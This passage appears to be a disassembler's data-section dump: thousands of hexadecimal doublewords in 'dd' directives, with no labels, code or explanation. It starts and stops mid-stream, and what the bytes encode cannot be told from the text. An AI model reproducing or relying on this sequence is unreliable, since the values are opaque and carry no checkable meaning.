0D203C098h, 0F97BBCAAh, 0BCF140E5h dd 3C37F605h, 10A86CB0h, 31A90060h, 2BA899F0h, 0A53F93E5h dd 0AB91E49Eh, 0C628A4h, 0FB4389F6h, 0CB0DBFFFh, 63AD9201h dd 739A14ACh, 0DF544C50h, 0AFB001A2h, 59EDE338h, 0AEEC70E0h dd 0AAE4E216h, 4806D808h, 0EF040030h, 0B10DDE2Eh, 3D1B071Fh dd 993810EFh, 2E512E84h, 405300BEh, 4D1996D0h, 204EC0AAh dd 95430478h, 7D38973Bh, 0D4800BA5h, 8396F805h, 474CAE14h dd 71F507ECh, 93A049FDh, 8978D1h, 0B329EA73h, 2B26777h dd 0ED0010BCh, 1C8C0974h, 0AA61C07Fh, 3BB4A905h, 0E4E5D9F3h dd 270BE736h, 8D4AFCh, 7AE893ECh, 585A4CF9h, 0B78074C8h dd 47D0B5Dh, 0DDC31618h, 0BE5A072Bh, 0A64A8070h, 74B6A881h dd 0B9364080h, 0C1578AECh, 0D964CA8h, 3DE0824Fh, 6634B866h dd 0AC11F138h, 0BD418790h, 6A82C140h, 0F163E0E3h, 0F53424D9h dd 2CF8176Bh, 0E700560Ch, 8F2F4007h, 0DF36C5h, 418306C8h dd 1178F86Ch, 92CAD214h, 0C0584C8Ch, 0CD906263h, 0F6990049h dd 11A6773Eh, 8F4DAC4Bh, 0E97267Ch, 1B5CA92Dh, 4E84A038h dd 9E2800EBh, 0DCF14893h, 1800ACF0h, 1D6AAA0Eh, 5373E96Dh dd 0F500A0CCh, 0AAE81EFDh, 0F67A21D4h, 7267C400h, 0A3F9FC6Bh dd 38AB308Dh, 9B3D9561h, 9705D174h, 19EB753Bh, 330088h dd 28B68C6Fh, 3231F56Dh, 0F1005AE8h, 5489DE52h, 28B1092Ch dd 5BC8267h, 0E9747BC1h, 1464E419h, 21182600h, 2E55A8E1h dd 0B2B7D0Dh, 6381C501h, 0EC0030E4h, 25D19A4Fh, 289620Ah dd 10D41184h, 0C0585B12h, 0BE974017h, 7C842C90h, 1FE6ECC4h dd 0C2162EFh, 97D157C8h, 1CB1BB7Ch, 81D3F100h, 9E720BD5h dd 36A9D88h, 0DCA7B608h, 15241EC9h, 0A6161008h, 0E8817C4h dd 1D044688h, 0ADC0C270h, 8CC1F4E2h, 1666114Ch, 6288BC68h dd 21B32743h, 12084828h, 70E0B022h, 5E0BC6CFh, 172B78Dh dd 23D29744h, 323B1A30h, 0AD3960E7h, 6A0E0464h, 20A51F21h dd 0E7F256B0h, 2A8A3059h, 999D36E4h, 0C77BB712h, 4C192C88h dd 4988C40Ch, 6D85D280h, 44A695h, 0BBED1E7Bh, 0F356B950h dd 0D40C1502h, 797D66E0h, 77626194h, 571B3043h, 10E5FA01h dd 0BAB96667h, 47A2029h, 0D23BC15Bh, 0ADB8C0B1h, 0F9F0DD71h dd 0AC130C99h, 95694820h, 96090037h, 9A2708C6h, 810576C7h dd 5EFE5B4Eh, 7CD6B801h, 1431D0FCh, 7BE14031h, 58AA9458h dd 7019440h, 7281B920h, 2D9C22FFh, 1438A07Dh, 0A66311h dd 0F2D93D2Eh, 4813552Ah, 92539409h, 28286871h, 0A4DE00DFh dd 80EDDD0Fh, 0BC004840h, 504A5DCDh, 441C84BAh, 134E6604h dd 7A2A7C41h, 303C9BFAh, 2B46E483h, 0BDA984D8h, 6C20894Ah dd 0B8D8737h, 365FBCA6h, 90A76C80h, 0DB5CF116h, 0CC702E34h dd 7A1910B2h, 9A3E0084h, 68B73B1Ch, 0CA00A869h, 0C360C264h dd 3B59C136h, 101713C9h, 0EBE4888Ch, 3668C000h, 0EF3C1279h dd 16890369h, 991C5CECh, 5F32C3E0h, 5E07C8A6h, 9BB0AE12h dd 0C42F48B0h, 87609419h, 218EEB40h, 27A8A709h, 13B8236Ch dd 0A198D475h, 1D3423E4h, 1A4C58E2h, 798BE86Bh, 0D87D486Ch dd 2264BF1Dh, 720DFC96h, 0E0F261F1h, 0E13E7C1Ah, 22084CCh dd 0D7876766h, 9090BA97h, 31C07E1Ch, 0D046A6AAh, 0BF211C71h dd 1591403Fh, 0A85D923Eh, 3460192Ch, 66E02FC7h, 0B0F145h dd 8C01D9C7h, 0D8A4E37Fh, 373E7706h, 8939ADh, 511CA1C0h dd 0ABE349B6h, 180D096h, 0C4BADAECh, 0E8120F69h, 47821064h dd 0F061AF72h, 0BA41830Dh, 80E643CAh, 980E6Eh, 2357562Eh dd 0ABD48E31h, 0D7639A05h, 0F1C166CEh, 402A7D4Dh, 7A0D9584h dd 401C75FBh, 0CECF8226h, 3051AB1Eh, 90689E14h, 1A3500BDh dd 7D6EC9E6h, 0F200D4B9h, 92C1A10Ah, 7B51FE66h, 0C6E41BE5h dd 40E4C9E2h, 630201D4h, 87B60032h, 51542709h, 0BEE561h dd 852D640h, 0F0CA1FDFh, 58A02FD1h, 79DE6439h, 76EACF00h dd 773EDF5h, 46FA4B3Ch, 0D0787CB0h, 15E97D1Ch, 8C76F180h dd 4ADEF984h, 0EC088810h dd 0E10A2400h, 0FF75070h, 1ADD00E5h, 7ABF32C4h, 0FB0EABAFh dd 49658510h, 809C5B4Fh, 0BC5B7334h, 4E00C2A0h, 2E086362h dd 30DDAB6Bh, 29310465h, 7005938Fh, 9C1BD8F1h, 27005CF2h dd 20A0BDCAh, 0A1276D0h, 40007567h, 419071CEh, 0D1BE187Ah dd 26108081h, 3DA288h, 6F590C75h, 84FE132Ah, 63903995h dd 0CB38A310h, 88D2DA00h, 2E1DCEACh, 30F51F3Ch, 5733008Bh dd 14E965DFh, 43085C8Ah, 0E19827A2h, 9107AA3Dh, 0E0FDF660h dd 708B43D2h, 6290BE4Ch, 0A85A1F66h, 29128258h, 8F85E477h dd 0B0815BDAh, 0B200E51Eh, 31C0247Ch, 1BBB6BA3h, 45B7CD5h dd 85E7E39Fh, 211884E5h, 3CBB66E8h, 972DA0C4h, 2FC00002h dd 0C10FE317h, 195B72ECh, 61E47C71h, 255BC428h, 0FC7830F4h dd 0D81D9DEFh, 0D40B04Eh, 536E4276h, 0B8850235h, 19125517h dd 6F2C6072h, 0D43B1004h, 6C7866C8h, 6822E04Eh, 820016A8h dd 19443289h, 40E6AC83h, 784014ABh, 193287Ah, 6040444Ch dd 691A2B00h, 8381D2F5h, 0F1CE0084h, 0CD112E2Ah, 0A200A128h dd 0E96C6239h, 80F76F94h, 0A4B33CD2h, 9A1B2580h, 6247E31Dh dd 66D0C975h, 509304F0h, 36CB0C00h, 0E46206E4h, 7C260021h dd 0A25E7803h, 962CBF45h, 0EF008073h, 613BBA65h, 540795E3h dd 45BF707Ch, 23132B63h, 0AC00D410h, 94089383h, 1CA84CFFh dd 2B7DE480h, 0FE009218h, 0A9A0FABAh, 0F8D1D4B2h, 0B4B8077Eh dd 7C738CEDh, 77003AC9h, 0DA7F456h, 0BDC75Ch, 930F1721h dd 893E53E6h, 181088BEh, 909DB51Bh, 0D8F1E82Ah, 5F761F40h dd 72F0483Fh, 0F0524A44h, 0F9019CDAh, 0AFBFC337h, 286C890Dh dd 0DC63AD80h, 5A006756h, 0F2CAE853h, 13A8090Ch, 30EFCE13h dd 0AA59D78Ch, 0C6F74100h, 3831D88Bh, 0E2FE029Ah, 33EE9B56h dd 0A4C0C9C2h, 64488C02h, 0FF505088h, 30A4A9C5h, 1EAC4E4h dd 777EA226h, 0EF1FBA74h, 205111EAh, 88936111h, 7A4DA094h dd 0F9CBC004h, 14B6EA5h, 83EF49FDh, 0E8B38A92h, 784ADFF1h dd 685C2097h, 166511EDh, 0B02A2821h, 0A870A26Fh, 95AC0939h dd 6F6214A0h, 1A4CB754h, 83AB0287h, 0F9EEDD6Bh, 58BD14FCh dd 8894E725h, 2AD59500h, 0C98DDBBCh, 2AFE4877h, 30643838h dd 2E9B2271h, 4CBCAE20h, 1095518Dh, 8004C110h, 0EB049775h dd 1113270Ch, 0E0240082h, 4150F9D4h, 10D84022h, 964C9774h dd 467A8B50h, 402B4C20h, 149B74C9h, 5847DBB8h, 82121400h dd 5D23C9C0h, 9BB5A2Eh, 0D4844E18h, 883F30B9h, 0E1453EBDh dd 0C1811737h, 74738A79h, 0DF328DDCh, 213880F8h, 7C8766EAh dd 708516ECh, 6BA174C0h, 0A8842C6Ch, 40DF4EF0h, 503B78FAh dd 0EC005B3Dh, 46B8C18Bh, 6AF96BDh, 4B8272CEh, 930A40CDh dd 0C812A16Fh, 52DE511h, 0FF3C1C82h, 14103059h, 6141FCC8h dd 76EE03BAh, 0D5A94004h, 23092EEEh, 0A27C8A80h, 867A930Ch dd 5839C9C8h, 0FA10147Dh, 21BA844Dh, 0F2B01645h, 86251690h dd 38999A01h, 90EF1492h, 4CE5D02h, 0DBE2EA6Eh, 8814F087h dd 0FB8AFF02h, 0E0293DA1h, 0A4E672F0h, 849880A0h, 0A197174Fh dd 9C80887Eh, 0AA2569DFh, 0C43C9020h, 0A9BD00FFh, 1981AEA5h dd 0F4027B71h, 50D9B326h, 2F345404h, 0DBF95093h, 2494DC91h dd 0A41B5904h, 94F32F93h, 1DA14200h, 0B87406ECh, 5872AE00h dd 0E5F9E982h, 66640904h, 402088B9h, 0ACBEFE2Ah, 47763B02h dd 8349BC97h, 0A40BFA5Ch, 18018E9h, 0FC6092D5h, 410F901h dd 550B1AC4h, 0D74490DBh, 2069250Dh, 4B00C8C4h, 34EA7912h dd 50B396FEh, 9566A4ADh, 397D1403h, 783D2958h, 772D5800h dd 7A336C8Eh, 209D4B94h, 0E4A2F634h, 937D7009h, 6D682095h dd 1E9BAF97h, 4CE34031h, 1A51491Dh, 7004A09Fh, 906854A6h dd 45F498h, 0FAD9C52Eh, 13D6217Eh, 61581406h, 4240B58Ch dd 37F223Bh, 0CDFFB004h, 75D098EAh, 78D54908h, 31FC9DD4h dd 0DBB33167h, 9E124F3h, 0ADE609E2h, 0A0976C21h, 0B4702A75h dd 83769Dh, 25325AA3h, 3551F2C2h, 137CF902h, 9E18EEAh dd 5029D484h, 0F47F2CD4h, 1D36750h, 36E57E3Eh, 28C1E4B0h dd 66480F7Ch, 81E8788Ch, 9A3D04FCh, 0C0FB0AA8h, 1D743FBCh dd 0FC756338h, 0EA407494h, 0AE70F6h, 6931FAF9h, 837971A8h dd 8439E475h, 0EA730245h, 0E617603Bh, 80A08594h, 17E978CCh dd 352C2DC8h, 121206DEh, 177EACA2h, 0C85906F1h, 0C2019064h dd 66D68047h, 0B370A71Bh, 4B8D7D5Dh, 189C8A12h, 48C0A547h dd 0FA2F073Bh, 0F067B091h, 6436C033h, 1CA14B00h, 4A757D8Bh dd 558301E6h, 0AB849FF1h, 9778647Ch, 0D84CBF24h, 7C890E64h dd 24BF6800h, 0E3B60EE4h, 0F2408786h, 0B18B0423h, 0DE4AB778h dd 430B88Dh, 743B07D3h, 4333A19Ah, 83DCF435h, 51095306h dd 0C54DE43Ch, 0A20502B0h, 8856208h, 318C3089h, 0B00A40Ch dd 0ABA66830h, 9022FB72h, 389F4594h, 0D5A78AFCh, 8E6BE002h dd 98244C73h, 38125414h, 0B8F90184h, 9C1B6167h, 0BB20884Ch dd 20019332h, 0C99E4A3Ch, 93192E0Eh, 32B2A322h, 708E8816h dd 0F48B4CCCh, 529A6C00h, 623BE574h, 1D381095h, 0CBEC0053h dd 7385395Bh, 664C14BBh, 69563044h, 9993A216h, 0E7381210h dd 0DF0B00F8h, 2EE5ED5h, 697032Fh, 4C7CB232h, 211A2125h dd 9448E424h, 8FC670h, 75E77AA5h, 0DB04E0EAh, 2AD14205h dd 9C1E62FAh, 23F2F88h, 7869BF09h, 11936CE9h, 4040B866h dd 5AF0E589h, 9AC98DDh, 0A38D3F0h, 90DC9405h, 50B9111Ch dd 70A5160Ah, 113DBA64h, 14602280h, 0D5712D0Ch, 0BF9A3400h dd 19094712h, 0A04F8B58h, 5C5DC0C8h, 0F18B18EAh, 0A8088059h dd 28F0A464h, 802C9100h, 0B44FBC3Dh, 2F3B9621h, 825782B5h dd 82F7AC34h, 277CBD20h, 7C856B85h, 0EB7041E6h, 944EFC3Bh dd 9FCCAC11h, 8912560Ah, 91CF9709h, 402BAB84h, 0EB998EC8h dd 0B090BF0Dh, 0AC8A0600h, 0E01E0BCCh, 1F200111h, 969E197h dd 18206E67h, 5CB42343h, 70015CA9h, 34D0C861h, 1D91ACDCh dd 0ACADB90Ah, 96E67A41h, 0E0A16441h, 0DFFF9048h, 0E33B0351h dd 26D0F9EDh, 0C4B1A885h, 40EA3600h, 0C46366h, 8E6DF850h dd 0BF3B7784h, 0ED0B4C99h, 1B50190Ch, 9E6CFCh, 0B7B9B164h dd 920DFCE7h, 80E8194Ch, 30A5ADDh, 6626016Eh, 0DB86D74Bh dd 9D43989h, 82960DFDh, 52389ED8h, 0C8B94B18h, 0F88B7FBCh dd 68DE14h, 8BB7A8B0h, 37D3DBB9h, 29E55F04h, 4AC5C12h dd 0D2147E80h, 1802CDAAh, 728937ABh, 1E48EC93h, 3CA2B885h dd 1F809A6h, 37E57317h, 0B871A3h, 0A6E48924h, 0D84B4701h dd 0D13E562h, 0B7A4202Fh, 0F65C8AF0h, 503E00C4h, 0D0E8548Eh dd 5FAD1DD2h, 0E6EB4FE0h, 0FA3C3982h, 759F90D4h, 21A809C1h dd 186188E7h, 27E9B018h, 48919A0Ch, 722370B7h, 6B67F302h dd 7C2AAC5Eh, 51C2494h, 88AB8521h, 0B8008A80h, 270E354Fh dd 732E91Eh, 0EABEED95h, 0F78C2010h, 692C17A8h, 0BC2078CDh dd 1BFF3B1Ah, 547999h, 71C2EB19h, 1F0030DFh, 0D8F30394h dd 2634931h, 3D66E8F4h, 87126BEh, 7A12FC03h, 0FB5EA077h dd 61080096h, 0F5CDD95Dh, 191360D7h, 0A4A713AAh, 0F05C7E00h dd 28DAD4A1h, 0BD07C57Dh, 2A7A69A7h, 44A5CB24h, 0F280A07Ch dd 4A99EBC3h, 0CE4F3300h, 5CCB7B80h, 162CA822h, 25B80355h dd 0FA4C6F78h, 430E3D98h, 0CCBAED2Ch, 78D63Fh, 0D7BB505Dh dd 0BAD605h, 5136F099h dd 59B5AF25h, 0A19F4E01h, 0E307E1E5h, 0CE073C63h, 60168A8Eh dd 81F0394Bh, 0F828BD28h, 4820385Ah, 0D68BD5h, 34962045h dd 36D3B6DEh, 0A56FFD04h, 54222A2h, 60E0427Eh, 898210A7h dd 0E01C10CCh, 0FCBE00F3h, 4B98D40Bh, 6300B122h, 84D403Ah dd 97DD5Ah, 0EAFC7627h, 96E515CFh, 83266BE8h, 74204034h dd 0DAB5060Eh, 523500FCh, 380382h, 46EB9A94h, 1C27FD0Ch dd 661F8600h, 6D131EACh, 7526273Fh, 0E1548090h, 0C8C72200h dd 0AB38C69Dh, 0FDEE0010h, 3E0B7A73h, 57136F17h, 44B82BCh dd 81702E15h, 0D87D7CE9h, 1624F428h, 41A02ED8h, 0D96B2C17h dd 0DBDAC037h, 53E087E1h, 0CE51695Eh, 0C6FE0525h, 0C491B73Ch dd 0CE0AC43Eh, 0D8A0C10Bh, 0F2086E2Bh, 606E01BCh, 25D2995Ah dd 0DC3BD109h, 330B0362h, 19937AE3h, 20D2B91Ch, 8C427DECh dd 0F0001D42h, 0C054348Eh, 0AC01F66Ah, 0F18CBD35h, 202AC37Bh dd 65CD8098h, 0E051B100h, 7D38BC0Fh, 559B004Ah, 901A5363h dd 814CC652h, 0AFA2C06Ch, 0DD09C0h, 0FBF00E82h, 84EF8E1Eh dd 67EC8717h, 15FD088h, 0D309DA3Fh, 70717C69h, 61627DF0h dd 61757908h, 18503A64h, 1B39CBFh, 8901CD82h, 7610E4BAh dd 0B9FD408Ch, 6F3A8E01h, 47E5B883h, 0A0304831h, 2A85887Dh dd 683EA001h, 3C81E570h, 0FBCC7BF5h, 9108B918h, 78884B32h dd 5E8E00C0h, 4B7421E0h, 990517EBh, 0D8340C83h, 0D98070A8h dd 9D72E4E3h, 16966100h, 20406E8Ah, 741925A8h, 0D84B80E1h dd 5412FE81h, 108C3B66h, 0F49686B9h, 3C172311h, 0EDB43560h dd 0D0D5C514h, 0F4C2A8C4h, 803C7376h, 7C4275A8h, 0F200E9CEh dd 2B080B6Ah, 489DC188h, 2922CC52h, 0F7261000h, 58D269B0h dd 660C0050h, 0BA33E587h, 999F86C6h, 666F8A5Ch, 0A700B04Ch dd 62F183E4h, 128C2E81h, 0C12BBF08h, 67A0D64h, 22BA4F28h dd 9410FE00h, 49680169h, 0F6823BD7h, 0E26C604Dh, 0F896F726h dd 0F898C02Dh, 6C618A48h, 0B840822h, 70A39720h, 51B050CEh dd 17005EE6h, 79AE524Eh, 0E9288Ch, 972E8083h, 7DF67204h dd 30FA91CAh, 71851191h, 1CC40B7Ah, 0A54EA8F1h, 0D88C4DFEh dd 0FDE10087h, 0EE5FFC52h, 596B1996h, 0DB540299h, 1E8594Ch dd 0E9E33C03h, 861AFC69h, 2B671512h, 9A0170B2h, 0E51019DFh dd 201270E2h, 483D227Dh, 0BA510201h, 78A8B3C5h, 94155120h dd 91E58430h, 95678418h, 326C857Dh, 6718FC28h, 0ACED0C53h dd 6D2020EAh, 66251709h, 1194911Eh, 786C6061h, 12141982h dd 0AF6053h, 696261F4h, 337098E2h, 0EA41670Eh, 0FE3BA012h dd 70C2B4A3h, 0F6C0EB97h, 0F9F0FC13h, 283CE331h, 0C822611Eh dd 3E4FCB80h, 200A0F4h, 5BFC475Fh, 0C8B3B7F1h, 45911438h dd 0E4FF3C12h, 9244AC40h, 667D2Fh, 3995A6CBh, 0F96414EEh dd 28C5AB16h, 33E38F6h, 0E73CB585h, 0EAD045ADh, 8B248C74h dd 43762E00h, 32F31C7Bh, 0A92B00A7h, 3F4518CCh, 4707B0CEh dd 0AC8246A6h, 56F81A59h, 0DE2F78D4h, 0E8CA90B6h, 0BBC27937h dd 72892217h, 0A0208451h, 0BB743302h, 404875ABh, 811089BCh dd 0C0691Ch, 0B11EF314h, 0E0D995Ch, 38E3FA3Fh, 9C380853h dd 180BFC45h, 8DC848ACh, 8704078Bh, 0D51E9B48h, 0FA604812h dd 0F1ED61C0h, 883D4B5Bh, 7000BD14h, 9E949A25h, 2475FE79h dd 60841596h, 0DEFF97AEh, 19F74F09h, 10502698h, 9EC7449h dd 0FF7A14C3h, 979AF048h, 8F22416h, 5D44005h, 8400FCB6h dd 10F91F9Dh, 0DD1DD16Eh, 0BB5E1CDEh, 14BA9785h, 1B938A0h dd 6003A1F4h, 9F98222Fh, 4C5397C0h, 320F00B6h, 0B8523EA4h dd 693900FDh, 6011853h, 4A87FCCh, 2681CD6Ch, 6054C176h dd 441C08FAh, 0B7040521h, 0E0731378h, 5900A4B2h, 5D66EAD3h dd 8600727Dh, 0C1C7E244h, 0F61BDF8Ah, 0B0480707h, 453F6260h dd 9534CC64h, 9AE0B200h, 27ACAF9h, 0E9C90020h, 50E71C1Fh dd 51284BB4h, 85009CF2h, 0FE397D90h, 0E37E55Bh, 789A7C0Fh dd 8A238BC2h, 257FB840h, 41E41AB5h, 202E8FB1h, 0A3F8A278h dd 1985B609h, 4CD0FA90h, 0ACD10C94h, 0E284214Bh, 0FAC4C09Fh dd 0D690C1Ch, 131A2AC2h, 51F0C28Bh, 0A3000BCh, 468E277Ch dd 0F5415600h, 3CC71184h, 33CE4B7Ah, 0A949EC74h, 0FF3FC23Ch dd 3C88DC8Bh, 343C1792h, 806CB2FCh, 91DE01B0h, 0F68C0B7Dh dd 0C0C87CB1h, 4438AF3Fh, 6A6B8070h, 6979D40h, 85B226CDh dd 66380E2Ch, 4F8CB236h, 0C715880h, 1B7C92D1h, 584D1110h dd 1BC887B4h, 0E1BB4081h, 0CC781014h, 0CB840A8Bh, 0BE721C6h dd 38F02CA2h, 45901097h, 1B3B01D8h, 57D59692h, 16D2E8F7h dd 0EC1F431Eh, 0AD461802h, 40B85526h, 0B009BFFh, 610358B7h dd 26A997DEh, 409C19B2h, 0E677B589h, 84AE0507h, 94A02A4Ah dd 7BAB6979h, 1788D243h, 731C201Ch, 1C22729Ah, 0E93F004Ch dd 5B25D021h, 4F2E5E77h, 102FA4C3h, 2FFA2A0h, 8EE04BCAh dd 0B864C872h, 9897977Dh, 9B39788Ch, 9B2D03C8h, 71A93B02h dd 0B6AEF84Ch, 2CD7B324h, 0E225A02Ch, 0EB24F890h, 43C0FCE2h dd 57889B68h, 59007E73h, 2964D286h, 0B8ACECE2h, 876704F4h dd 0BC04DEF9h, 0C9C281ACh, 0C7F8BCA9h, 43B700CDh, 0FCA705F2h dd 855F89A6h, 20A38420h, 528E07B4h, 307C60E2h, 817822F4h dd 92D7C100h, 0C5B0208Fh, 79120084h, 828BFDDCh, 812541F1h dd 0DB7CC81Dh, 0C71A0385h, 7A230CAFh, 0A0ECE8ACh, 3C1B62Ch dd 0CD2F9067h, 0A4F01A6Ah, 922EBD5Ah, 18C9B87Bh, 770A69Ch dd 1AB23822h, 9013708Ch, 7C01E3CAh, 613C6FE5h, 88646BBBh dd 14E1207Fh, 7513E722h, 0C8234A61h, 5F00F654h, 2AD8ABDh dd 91D1FEAh, 4C902C39h, 0AB0090C4h, 8DF7246Eh, 1DDD6876h dd 54F436h, 9EE31E77h, 40B0902Bh, 2931BE61h, 842124E9h dd 0F97A22FEh, 42FE046h, 0CC68C970h, 0C24418ACh, 3C226AB9h dd 855C98FBh, 8AEA0070h, 0C27A9383h, 725B73CBh, 0B23DE840h dd 4AE219Dh, 0C4D4F274h, 8024FCCAh, 183BA1FCh, 8778092Dh dd 5411CBABh, 0D6B86894h, 9C71D848h, 31844010h, 0C8BE1941h dd 0E45D6113h, 30B25413h, 0C8810180h, 11127730h, 0F45321ABh dd 0A9888Ch, 11E2A26Ah, 0FE4091B1h, 6D4B9302h, 54CB3538h dd 2890083Ch, 938A7181h, 188B177Fh, 0FCBB820Ch, 40FC1CA3h dd 3C142EF6h, 519D0069h, 0CAEFE9F9h, 8942C88h, 2B627C00h dd 0B8EA7552h, 0E508F524h, 0C8A4B8E0h, 1E849342h, 8E25659h dd 2DC5B861h, 19DBC8EAh, 0CC7A7B27h, 385400D4h, 736DE38Ah dd 2F005A1Eh, 0A1D4CA9Fh, 72BB6C1Dh, 0FFC33084h, 4E2C29D0h dd 1C2D2090h, 319C3112h, 5E7BE0h, 9C1EE3ADh, 193863ECh dd 0B967713Fh, 0E5B825E9h, 3C700E4h, 66D4F0Fh, 0EE008FE6h dd 8507F0ABh, 23459BBh, 81666810h, 78E295FEh, 41325084h dd 4C6BBF09h, 0C85E1C78h, 0D0BB85F0h, 0CC84E17h, 4554B6A5h dd 0CDD0D995h, 15F83373h, 1CE53Bh, 0F5E4594Ah, 7E7298DAh dd 24E95148h, 70E1404Ch, 0AEEE1Ah, 0D0A232F6h, 91EE807Ch dd 523C68B9h, 0CA40380h, 0D00ED272h, 905A2A5Eh, 0DAAE0152h dd 0F449DD93h, 2BFC3084h, 0E8886681h, 94193960h, 28287C71h dd 0A3D84731h, 52850015h, 0BAB30070h, 0A9EBFC95h, 614FE4B8h dd 1A194067h, 0B1E4CAA4h, 0B4746628h, 0D039E19Ah, 1CE1017Eh dd 0C6FA8F72h, 4C338Dh, 0C32F2B26h, 0B36C44h, 8AC9A538h dd 0C6A85DE4h, 0E5663504h dd 10D5B119h, 0DD0024A3h, 76A5D7C8h, 58007A4Bh, 9853248Dh dd 5C9D0E99h, 0A5C0008Ch, 8EBC3FB0h, 0BD4BA900h, 7AFD99EFh dd 6084507Eh, 0A6C891FAh, 0FB8D0048h, 0A6CA25A1h, 2A858202h dd 5E7CDBA3h, 0B0EF4760h, 5711A1E3h, 0C492FA30h, 0AA999D25h dd 1CE08380h, 75E904CFh, 0F8B21113h, 98AD80C8h, 1EE4ED69h dd 9DF9B643h, 8EEB00D5h, 0E5DB8920h, 0E4406894h, 2EE3B256h dd 4578CB7Ah, 12A4F8ACh, 0C83014C3h, 3FA4EF3Dh, 0A2005E73h dd 0E0B08BD8h, 781F8189h, 80BEE499h, 4FB885DEh, 58065BF0h dd 20800072h, 0B79D084h, 644DE800h, 0D540BDE1h, 0BEC33D21h dd 98519500h, 2AA835E7h, 94038A78h, 32173D2Bh, 9B08001Dh dd 0CD8C982Eh, 0BD7EE34Ah, 399D1E05h, 688314C8h, 0D630009Bh dd 0A7EA6B52h, 0AF002E24h, 2DAB1C80h, 609E983Eh, 9D2B4851h dd 7E7C1BD1h, 0E70011D3h, 21E8A5EFh, 645F00C0h, 3F4F883Ah dd 3090F54h, 7716C9A6h, 61BA6081h, 0BB398001h, 3222BD13h dd 73FF0080h, 0C9097875h, 0F803DDFCh, 0BAB15B84h, 539C1ACh dd 8A0B6440h, 0A2A01E9h, 0B0980836h, 0F851B22Bh, 1004119Fh dd 0C82E81h, 46AE6842h, 20079212h, 63889838h, 0A43A7039h dd 8D139400h, 7D00510Eh, 851F5D83h, 0E1D72A1h, 0D27F7608h dd 291A2C80h, 5A48E0BBh, 407E2881h, 2400A075h, 63A7E3EDh dd 98F411h, 74AB9514h, 56064296h, 0D0154CA9h, 19014937h dd 9A207DEh, 899F24A0h, 2960BD77h, 27C41CCFh, 11F91B00h dd 0ACB2391Ah, 0E0A0E40h, 934699B5h, 2344C916h, 0F5960033h dd 0A432ED62h, 8752919h, 0A0769800h, 7A8173A9h, 581672FDh dd 0E009ACBAh, 8232B93h, 4DA8A6Ch, 77A11701h, 0ED8076BCh dd 3C3F9560h, 69C02F1Fh, 196A0414h, 3BBB1E13h, 811973B8h dd 70146EEBh, 98F88893h, 0C6261A60h, 0B99262D9h, 11CB6600h dd 5870688Bh, 1863F60Ah, 21956293h, 0ED5CB42Dh, 4DFB00CAh dd 9F6426C4h, 0C025B03Ch, 0DE4C2871h, 80773A2Dh, 883761CAh dd 1373EA60h, 0C01F0E2Ah, 19BB19DEh, 188832C2h, 0C9938038h dd 0B22CBA5Bh, 0DF0C8575h, 292A0F63h, 798120Bh, 2FB0289Ch dd 0F0388603h, 0E78FD760h, 84190Ch, 6B7B8019h, 97230A39h dd 153F7900h, 3BCC41BCh, 0AA57814h, 8A19DD1Ch, 0E65A03A4h dd 41003A33h, 1D478DF1h, 32510D2h, 8B90A89Ch, 28B5222h dd 8FFA1BB8h, 0B8A0CA7Bh, 39DC013Dh, 35932240h, 0F19BBF2h dd 781F4F3h, 0B806B9F8h, 71152509h, 781D8CE4h, 1EECA613h dd 7C7B0A0Fh, 884BF850h, 0D3521B3Ah, 7C5298h, 8A7442BDh dd 3144EBh, 18F247B6h, 0E56BF6C4h, 6F0A09F6h, 0B070EE36h dd 0E3323D80h, 1CBD582h, 425AFE96h, 2081B2ADh, 2C996230h dd 8EBDE701h, 20E0E267h, 0AAF20071h, 5FB8D431h, 0BE0966F7h dd 10620FFEh, 207430h, 491E485Eh, 0E88A8354h, 8FD7F53Ah dd 0A0FA534Ah, 9C94EC74h, 84925507h, 1351ADCh, 0CDE68115h dd 80637D8Ah, 0AFC32BE1h, 7E7032h, 0A30B0148h, 0EA7BC60Ch dd 0FC1C3929h, 0F4B8FD01h, 0C047D0F1h, 0AF8A7F90h, 3261C96Bh dd 0CF57E410h, 632A2903h, 0A0710381h, 72CEC87Eh, 98E70409h dd 4817049Dh, 260B804Eh, 73292D8Dh, 1F153A1Fh, 9289DD80h dd 1C6AC4Fh, 0B0165751h, 0F90B2C6Eh, 0FA39803Bh, 201FA2EDh dd 50C501C3h, 0A1F23F55h, 0DC4EC9EFh, 8100BA6Eh, 880F02F8h dd 3C8C7CA3h, 4149FD1h, 8708F4EBh, 3C063B16h, 5859320Ah dd 70832C18h, 0DBB880B6h, 0CF03B3E6h, 6343D55Ah, 0D46AC845h dd 83CC001Ah, 8A2C49BDh, 39C377A3h, 243C8F98h, 61480CE9h dd 0C0771AE9h, 0BA19B942h, 21D097E1h, 0E2EF6610h, 0D4A29F00h dd 4B2DB8E0h, 762A072Fh, 565B61A5h, 0BD226808h, 0B0360C9Bh dd 11C03AE6h, 0C8606348h, 2486B202h, 26040C82h, 8912382Ch dd 421E0847h, 317C7F45h, 0C58EB90Ch, 39B6086Eh, 0B7809F42h dd 871428A2h, 0E672FF98h, 1F29E900h, 51915A93h, 307C6E78h dd 6ACC0B40h, 0F0EA7BC7h, 0EE18B660h, 75EB2B37h, 1D9D0177h dd 6F9C92B0h, 721BCFAh, 0D522C21Fh, 599070B0h, 0BC12397Dh dd 5A164E81h, 0F80BB46Bh, 726122FBh, 9F2A7B99h, 0B851418Ch dd 19582881h, 8ACB005Fh, 814066F1h, 340C0C2Ch, 0D2408C6Dh dd 7415B440h, 0A21380A9h, 0C7EA0207h, 0E1609AA7h, 7871ADh dd 0B10DD3C4h, 2A6E81Dh, 0EA63AA77h, 378C569h, 47BCFA89h dd 34E096C9h, 9C0341C7h, 6FBD291Fh, 0FAA107F8h, 0E0D8DA35h dd 0A97A8ECFh, 53A89E4Fh, 0EE9CF900h, 0D30CEC09h, 0B8BC94A0h dd 69AC5132h, 14D7E094h, 96E60B9Eh, 0C68036EEh, 159DB074h dd 9CBAC806h, 3869F16Ch, 0D008DE0h, 8270A22Eh, 81E7A3FDh dd 0FB017CF1h, 0B98C6D38h, 4E199615h, 0AB378900h, 0F2144FA1h dd 234C071Eh, 0AA76A99Dh, 751178h, 46B28725h, 618D048h dd 43707C23h, 0FB1128B3h, 9C000229h, 3437E994h, 6C707798h dd 4E61990Eh, 56FA80F0h, 2855129Dh, 1650FDA4h, 32DC098h dd 713FA6F2h, 41C5E981h, 0BE921560h, 7A7B8F29h, 138CA067h dd 30F2D1F7h, 0F796FC5h, 0BC007D2Fh, 0C6235DC3h, 191426Ah dd 4BAE2A9Dh, 0D472C405h, 9028A437h, 0BA007051h, 9247CBC5h dd 1882D22h, 0CDFE43C8h, 0F4B60401h, 